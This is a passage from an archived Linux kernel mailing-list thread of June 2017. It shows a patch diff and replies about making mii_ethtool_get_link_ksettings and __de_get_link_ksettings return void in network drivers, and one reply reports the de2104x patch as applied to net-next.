diff --git a/drivers/net/ethernet/tundra/tsi108_eth.c b/drivers/net/ethernet/tundra/tsi108_eth.c
index 5ac6eaa..c2d15d9 100644
--- a/drivers/net/ethernet/tundra/tsi108_eth.c
+++ b/drivers/net/ethernet/tundra/tsi108_eth.c
@@ -1504,13 +1504,12 @@ static int tsi108_get_link_ksettings(struct net_device *dev,
 {
 	struct tsi108_prv_data *data = netdev_priv(dev);
 	unsigned long flags;
-	int rc;
 
 	spin_lock_irqsave(&data->txlock, flags);
-	rc = mii_ethtool_get_link_ksettings(&data->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&data->mii_if, cmd);
 	spin_unlock_irqrestore(&data->txlock, flags);
 
-	return rc;
+	return 0;
 }
 
 static int tsi108_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/via/via-rhine.c b/drivers/net/ethernet/via/via-rhine.c
index 4cf41f7..acd29d6 100644
--- a/drivers/net/ethernet/via/via-rhine.c
+++ b/drivers/net/ethernet/via/via-rhine.c
@@ -2307,13 +2307,12 @@ static int netdev_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct rhine_private *rp = netdev_priv(dev);
-	int rc;
 
 	mutex_lock(&rp->task_lock);
-	rc = mii_ethtool_get_link_ksettings(&rp->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&rp->mii_if, cmd);
 	mutex_unlock(&rp->task_lock);
 
-	return rc;
+	return 0;
 }
 
 static int netdev_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/mii.c b/drivers/net/mii.c
index 6d953c5..44612122 100644
--- a/drivers/net/mii.c
+++ b/drivers/net/mii.c
@@ -141,11 +141,9 @@ int mii_ethtool_gset(struct mii_if_info *mii, struct ethtool_cmd *ecmd)
  *
  * The @cmd parameter is expected to have been cleared before calling
  * mii_ethtool_get_link_ksettings().
- *
- * Returns 0 for success, negative on error.
  */
-int mii_ethtool_get_link_ksettings(struct mii_if_info *mii,
-				   struct ethtool_link_ksettings *cmd)
+void mii_ethtool_get_link_ksettings(struct mii_if_info *mii,
+				    struct ethtool_link_ksettings *cmd)
 {
 	struct net_device *dev = mii->dev;
 	u16 bmcr, bmsr, ctrl1000 = 0, stat1000 = 0;
@@ -227,8 +225,6 @@ int mii_ethtool_get_link_ksettings(struct mii_if_info *mii,
 						lp_advertising);
 
 	/* ignore maxtxpkt, maxrxpkt for now */
-
-	return 0;
 }
 
 /**
diff --git a/drivers/net/usb/ax88179_178a.c b/drivers/net/usb/ax88179_178a.c
index 51cf600..793ce90 100644
--- a/drivers/net/usb/ax88179_178a.c
+++ b/drivers/net/usb/ax88179_178a.c
@@ -624,7 +624,10 @@ static int ax88179_get_link_ksettings(struct net_device *net,
 				      struct ethtool_link_ksettings *cmd)
 {
 	struct usbnet *dev = netdev_priv(net);
-	return mii_ethtool_get_link_ksettings(&dev->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&dev->mii, cmd);
+
+	return 0;
 }
 
 static int ax88179_set_link_ksettings(struct net_device *net,
diff --git a/drivers/net/usb/r8152.c b/drivers/net/usb/r8152.c
index ddc62cb..effa7a22 100644
--- a/drivers/net/usb/r8152.c
+++ b/drivers/net/usb/r8152.c
@@ -3841,7 +3841,7 @@ int rtl8152_get_link_ksettings(struct net_device *netdev,
 
 	mutex_lock(&tp->control);
 
-	ret = mii_ethtool_get_link_ksettings(&tp->mii, cmd);
+	mii_ethtool_get_link_ksettings(&tp->mii, cmd);
 
 	mutex_unlock(&tp->control);
 
diff --git a/drivers/net/usb/usbnet.c b/drivers/net/usb/usbnet.c
index 79048e7..6510e5c 100644
--- a/drivers/net/usb/usbnet.c
+++ b/drivers/net/usb/usbnet.c
@@ -956,7 +956,9 @@ int usbnet_get_link_ksettings(struct net_device *net,
 	if (!dev->mii.mdio_read)
 		return -EOPNOTSUPP;
 
-	return mii_ethtool_get_link_ksettings(&dev->mii, cmd);
+	mii_ethtool_get_link_ksettings(&dev->mii, cmd);
+
+	return 0;
 }
 EXPORT_SYMBOL_GPL(usbnet_get_link_ksettings);
 
diff --git a/include/linux/mii.h b/include/linux/mii.h
index 1629a0c..e870bfa 100644
--- a/include/linux/mii.h
+++ b/include/linux/mii.h
@@ -31,7 +31,7 @@ struct mii_if_info {
 extern int mii_link_ok (struct mii_if_info *mii);
 extern int mii_nway_restart (struct mii_if_info *mii);
 extern int mii_ethtool_gset(struct mii_if_info *mii, struct ethtool_cmd *ecmd);
-extern int mii_ethtool_get_link_ksettings(
+extern void mii_ethtool_get_link_ksettings(
 	struct mii_if_info *mii, struct ethtool_link_ksettings *cmd);
 extern int mii_ethtool_sset(struct mii_if_info *mii, struct ethtool_cmd *ecmd);
 extern int mii_ethtool_set_link_ksettings(
-- 
2.9.4

From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Lunn <andrew@lunn.ch>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.usb.general
Subject: Re: [PATCH] net/{mii,smsc}: Make mii_ethtool_get_link_ksettings and
 smc_netdev_get_ecmd return void
Date: Sun, 4 Jun 2017 21:01:33 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20170604190133.GB10273@lunn.ch>
References: <20170604172200.4177-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496602972 16281 195.159.176.226 (4 Jun 2017 19:02:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 19:02:52 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: klassert@mathematik.tu-chemnitz.de, pcnet32@frontier.com,
        hsweeten@visionengravers.com, jeffrey.t.kirsher@intel.com,
        cooldavid@cooldavid.org, mcuos.com@gmail.com, nic_swsd@realtek.com,
        ralf@linux-mips.org, romieu@fr.zoreil.com, nico@fluxnic.net,
        oneukum@suse.com, davem@davemloft.net, tremyfr@gmail.com,
        paul.gortmaker@windriver.com, jarod@redhat.com, green.hu@gmail.com,
        f.fainelli@gmail.com, edumazet@google.com, shchers@gmail.com,
        stephen.boyd@linaro.org, fgao@48lvckh6395k16k5.yundunddos.com,
        tklauser@distanz.ch, jay.vosburgh@canonical.com,
        robert.jarzmik@free.fr, jeremy.linton@arm.com,
        rmk+kernel@armlinux.org.uk, stephen@networkplumber.org,
        arnd@arndb.de, gerg@linux-m68k.org, allan@asix.com.tw,
        chris.roth@usask.ca, hayeswang@realtek.com,
        mario_limonciello@dell.com, netdev@vger.kern
To: Yuval Shaia <yuval.shaia@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 04 21:02:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHanU-0003ok-BS
	for glpp-linux-parisc@m.gmane.org; Sun, 04 Jun 2017 21:02:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751349AbdFDTCt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 4 Jun 2017 15:02:49 -0400
Original-Received: from vps0.lunn.ch ([178.209.37.122]:35957 "EHLO vps0.lunn.ch"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751169AbdFDTCs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 4 Jun 2017 15:02:48 -0400
Original-Received: from andrew by vps0.lunn.ch with local (Exim 4.80)
        (envelope-from <andrew@lunn.ch>)
        id 1dHamL-0002pT-Oy; Sun, 04 Jun 2017 21:01:33 +0200
Content-Disposition: inline
In-Reply-To: <20170604172200.4177-1-yuval.shaia@oracle.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27458 gmane.linux.network:474175 gmane.linux.ports.arm.kernel:582130 gmane.linux.ports.mips.general:59382 gmane.linux.usb.general:159161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27458>

> diff --git a/drivers/net/cris/eth_v10.c b/drivers/net/cris/eth_v10.c
> index da02041..017f48c 100644
> --- a/drivers/net/cris/eth_v10.c
> +++ b/drivers/net/cris/eth_v10.c
> @@ -1417,10 +1417,9 @@ static int e100_get_link_ksettings(struct net_device *dev,
>  {
>  	struct net_local *np = netdev_priv(dev);
>  	u32 supported;
> -	int err;
>  
>  	spin_lock_irq(&np->lock);
> -	err = mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
> +	mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
>  	spin_unlock_irq(&np->lock);
>  
>  	/* The PHY may support 1000baseT, but the Etrax100 does not.  */
> @@ -1432,7 +1431,7 @@ static int e100_get_link_ksettings(struct net_device *dev,
>  	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
>  						supported);
>  
> -	return err;
> +	return 0;
>  }

How far are going planning on going? It seems like
*_get_link_ksettings() now all return a useless 0. Do you plan to
change ethtool_ops and make if void all the way up?

       Andrew
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Yuval Shaia <yuval.shaia@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.usb.general,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net/{mii,smsc}: Make mii_ethtool_get_link_ksettings and
 smc_netdev_get_ecmd return void
Date: Sun, 4 Jun 2017 22:49:06 +0300
Lines: 36
Approved: news@gmane.org
Message-ID: <20170604194905.GA7045@yuvallap>
References: <20170604172200.4177-1-yuval.shaia@oracle.com>
 <20170604190133.GB10273@lunn.ch>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496605906 16890 195.159.176.226 (4 Jun 2017 19:51:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 19:51:46 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: linux-mips@linux-mips.org, linux-usb@vger.kernel.org, shchers@gmail.com,
 stephen.boyd@linaro.org, paul.gortmaker@windriver.com, edumazet@google.com,
 jeremy.linton@arm.com, robert.jarzmik@free.fr, gerg@linux-m68k.org,
 f.fainelli@gmail.com, arnd@arndb.de, cooldavid@cooldavid.org, jarod@redhat.com,
 intel-wired-lan@lists.osuosl.org, jeffrey.t.kirsher@intel.com,
 romieu@fr.zoreil.com, jay.vosburgh@canonical.com, tklauser@distanz.ch,
 hayeswang@realtek.com, allan@asix.com.tw, nic_swsd@realtek.com,
 mcuos.com@gmail.com, mario_limonciello@dell.com, rmk+kernel@armlinux.org.uk,
 pcnet32@frontier.com, green.hu@gmail.com, chris.roth@usask.ca,
 linux-arm-kernel@lists.infradead.org, klassert@mathematik.tu-chemnitz.de,
 linux-parisc@vger.kernel.org, nico@fluxnic.net, netdev@vger.kernel.org,
 oneukum@suse.com, ralf@linux-mips.org, stephen@networkplumber.org,
 hsweeten@visionengravers.com, fgao@4
To: Andrew Lunn <andrew@lunn.ch>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Sun Jun 04 21:51:35 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1dHbYl-0003ki-49
	for linux-arm-kernel@m.gmane.org; Sun, 04 Jun 2017 21:51:35 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=nFQ4WzZt5cmDh5gVB+QkKMTM3mc1PnrVQUP8IDPUghI=; b=Ptn6hlci4LZFub
	uxqN+o3j4A5UCG7IxkroraCXONRZX6kISTQD9JT7rJCF9Z/AwVkPCt3o2359Zpv+0pS79fgNTsh3l
	GuTeU+TkkcPDA//AE/ErPaZZQmfoCB71jVtGWdI8ghJlYuQBAAMQORaoe3yjqeTv9mBprp60eAfda
	Pe7wcimTjdchykr7/qapf8MWJ80uC1a74BUbCOdt7tcTlw70DO5zSA5ZtnmFKraKTF2wtOkeDHL73
	idaHELUWwQgedEwc9XiUSfVPeT8yWuEpJ+Ruif4O+y6zM0hMKt3iz0V+iHo5Jvi9DS1AjmFlvixRU
	rMu2CwmE9oWGD67WcCFQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dHbYl-0000xo-Sb; Sun, 04 Jun 2017 19:51:35 +0000
Original-Received: from aserp1040.oracle.com ([141.146.126.69])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dHbYi-0000vU-3c
 for linux-arm-kernel@lists.infradead.org; Sun, 04 Jun 2017 19:51:33 +0000
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
 by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id
 v54JnY9P004701
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sun, 4 Jun 2017 19:49:35 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
 by userv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v54JnQMe016033
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Sun, 4 Jun 2017 19:49:26 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
 by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v54JnJjL004998;
 Sun, 4 Jun 2017 19:49:20 GMT
Original-Received: from yuvallap (/77.138.186.148)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Sun, 04 Jun 2017 12:49:19 -0700
Content-Disposition: inline
In-Reply-To: <20170604190133.GB10273@lunn.ch>
X-Source-IP: userv0022.oracle.com [156.151.31.74]
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170604_125132_240700_149AD42F 
X-CRM114-Status: GOOD (  10.32  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:582132 gmane.linux.ports.mips.general:59383 gmane.linux.usb.general:159162 gmane.linux.ports.parisc:27459 gmane.linux.network:474178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/582132>

On Sun, Jun 04, 2017 at 09:01:33PM +0200, Andrew Lunn wrote:
> > diff --git a/drivers/net/cris/eth_v10.c b/drivers/net/cris/eth_v10.c
> > index da02041..017f48c 100644
> > --- a/drivers/net/cris/eth_v10.c
> > +++ b/drivers/net/cris/eth_v10.c
> > @@ -1417,10 +1417,9 @@ static int e100_get_link_ksettings(struct net_device *dev,
> >  {
> >  	struct net_local *np = netdev_priv(dev);
> >  	u32 supported;
> > -	int err;
> >  
> >  	spin_lock_irq(&np->lock);
> > -	err = mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
> > +	mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
> >  	spin_unlock_irq(&np->lock);
> >  
> >  	/* The PHY may support 1000baseT, but the Etrax100 does not.  */
> > @@ -1432,7 +1431,7 @@ static int e100_get_link_ksettings(struct net_device *dev,
> >  	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
> >  						supported);
> >  
> > -	return err;
> > +	return 0;
> >  }
> 
> How far are going planning on going? It seems like
> *_get_link_ksettings() now all return a useless 0. Do you plan to
> change ethtool_ops and make if void all the way up?

It is not always correct, see for example how xgene_get_link_ksettings
returns non-zero value so i assume that ethtool_ops should remain as it is.
Also, looking at ethtool_get_settings it seems that returned value is
checked.

> 
>        Andrew

From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Yuval Shaia <yuval.shaia@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net/dec: Make __de_get_link_ksettings return void
Date: Sun, 4 Jun 2017 22:52:42 +0300
Lines: 67
Approved: news@gmane.org
Message-ID: <20170604195241.GB7045@yuvallap>
References: <20170604170851.3808-1-yuval.shaia@oracle.com>
 <4391c380-f7f6-d549-a225-716b9b9df664@cogentembedded.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496605984 32252 195.159.176.226 (4 Jun 2017 19:53:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 19:53:04 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: davem@davemloft.net, jarod@redhat.com, tklauser@distanz.ch,
        tremyfr@gmail.com, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 04 21:53:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHba7-00085B-DF
	for glpp-linux-parisc@m.gmane.org; Sun, 04 Jun 2017 21:52:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751180AbdFDTxB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 4 Jun 2017 15:53:01 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:38329 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751176AbdFDTxB (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 4 Jun 2017 15:53:01 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v54JqpWl006472
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Sun, 4 Jun 2017 19:52:51 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v54JqoHb029960
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Sun, 4 Jun 2017 19:52:50 GMT
Original-Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v54JqlDK005851;
        Sun, 4 Jun 2017 19:52:48 GMT
Original-Received: from yuvallap (/77.138.186.148)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Sun, 04 Jun 2017 12:52:47 -0700
Content-Disposition: inline
In-Reply-To: <4391c380-f7f6-d549-a225-716b9b9df664@cogentembedded.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27460 gmane.linux.network:474179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27460>

On Sun, Jun 04, 2017 at 08:22:05PM +0300, Sergei Shtylyov wrote:
> Hello!
> 
> On 6/4/2017 8:08 PM, Yuval Shaia wrote:
> 
> > Make return value void since function never return meaningfull value
> 
>   You only make 1 of 2 functions void. It looks like there should be 2 patches.

And what would be the second function?

> 
> > 
> > Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>
> > ---
> >  drivers/net/ethernet/dec/tulip/de2104x.c | 11 ++++-------
> >  1 file changed, 4 insertions(+), 7 deletions(-)
> > 
> > diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
> > index 91b8f6f..c87b8cc 100644
> > --- a/drivers/net/ethernet/dec/tulip/de2104x.c
> > +++ b/drivers/net/ethernet/dec/tulip/de2104x.c
> > @@ -1483,8 +1483,8 @@ static void __de_get_regs(struct de_private *de, u8 *buf)
> >  	de_rx_missed(de, rbuf[8]);
> >  }
> > 
> > -static int __de_get_link_ksettings(struct de_private *de,
> > -				   struct ethtool_link_ksettings *cmd)
> > +static void __de_get_link_ksettings(struct de_private *de,
> > +				    struct ethtool_link_ksettings *cmd)
> >  {
> >  	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
> >  						de->media_supported);
> > @@ -1517,8 +1517,6 @@ static int __de_get_link_ksettings(struct de_private *de,
> >  		cmd->base.autoneg = AUTONEG_ENABLE;
> > 
> >  	/* ignore maxtxpkt, maxrxpkt for now */
> > -
> > -	return 0;
> >  }
> > 
> >  static int __de_set_link_ksettings(struct de_private *de,
> > @@ -1615,13 +1613,12 @@ static int de_get_link_ksettings(struct net_device *dev,
> >  				 struct ethtool_link_ksettings *cmd)
> >  {
> >  	struct de_private *de = netdev_priv(dev);
> > -	int rc;
> > 
> >  	spin_lock_irq(&de->lock);
> > -	rc = __de_get_link_ksettings(de, cmd);
> > +	__de_get_link_ksettings(de, cmd);
> >  	spin_unlock_irq(&de->lock);
> > 
> > -	return rc;
> > +	return 0;
> >  }
> > 
> >  static int de_set_link_ksettings(struct net_device *dev,
> > 
> 
> MBR, Sergei
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net/dec: Make __de_get_link_ksettings return void
Date: Mon, 05 Jun 2017 11:01:21 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20170605.110121.1149404417057503000.davem@davemloft.net>
References: <20170604170851.3808-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496674888 638 195.159.176.226 (5 Jun 2017 15:01:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Jun 2017 15:01:28 +0000 (UTC)
Cc: jarod@redhat.com, tklauser@distanz.ch, tremyfr@gmail.com,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: yuval.shaia@oracle.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 05 17:01:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHtVO-0006qS-PO
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Jun 2017 17:01:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751170AbdFEPBY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Jun 2017 11:01:24 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:37774 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751153AbdFEPBY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Jun 2017 11:01:24 -0400
Original-Received: from localhost (unknown [38.140.131.194])
        (using TLSv1 with cipher AES128-SHA (128/128 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id ACF2012489789;
        Mon,  5 Jun 2017 07:19:44 -0700 (PDT)
In-Reply-To: <20170604170851.3808-1-yuval.shaia@oracle.com>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 05 Jun 2017 07:19:45 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27461 gmane.linux.network:474294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27461>

From: Yuval Shaia <yuval.shaia@oracle.com>
Date: Sun,  4 Jun 2017 20:08:51 +0300

> Make return value void since function never return meaningfull value
> 
> Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>

Applied to net-next.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.usb.general
Subject: Re: [PATCH] net/{mii,smsc}: Make mii_ethtool_get_link_ksettings
 and smc_netdev_get_ecmd return void
Date: Mon, 05 Jun 2017 11:01:45 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <20170605.110145.2053472151656679350.davem@davemloft.net>
References: <20170604172200.4177-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496674917 6302 195.159.176.226 (5 Jun 2017 15:01:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Jun 2017 15:01:57 +0000 (UTC)
Cc: klassert@mathematik.tu-chemnitz.de, pcnet32@frontier.com,
        hsweeten@visionengravers.com, jeffrey.t.kirsher@intel.com,
        cooldavid@cooldavid.org, mcuos.com@gmail.com, nic_swsd@realtek.com,
        ralf@linux-mips.org, romieu@fr.zoreil.com, nico@fluxnic.net,
        oneukum@suse.com, tremyfr@gmail.com, paul.gortmaker@windriver.com,
        jarod@redhat.com, green.hu@gmail.com, f.fainelli@gmail.com,
        edumazet@google.com, shchers@gmail.com, stephen.boyd@linaro.org,
        fgao@48lvckh6395k16k5.yundunddos.com, tklauser@distanz.ch,
        jay.vosburgh@canonical.com, robert.jarzmik@free.fr,
        jeremy.linton@arm.com, rmk+kernel@armlinux.org.uk,
        stephen@networkplumber.org, arnd@arndb.de, gerg@linux-m68k.org,
        allan@asix.com.tw, chris.roth@usask.ca, hayeswang@realtek.com,
        mario_limonciello@dell.com, netdev@vger.kernel.org,
        linux-parisc@
To: yuval.shaia@oracle.com
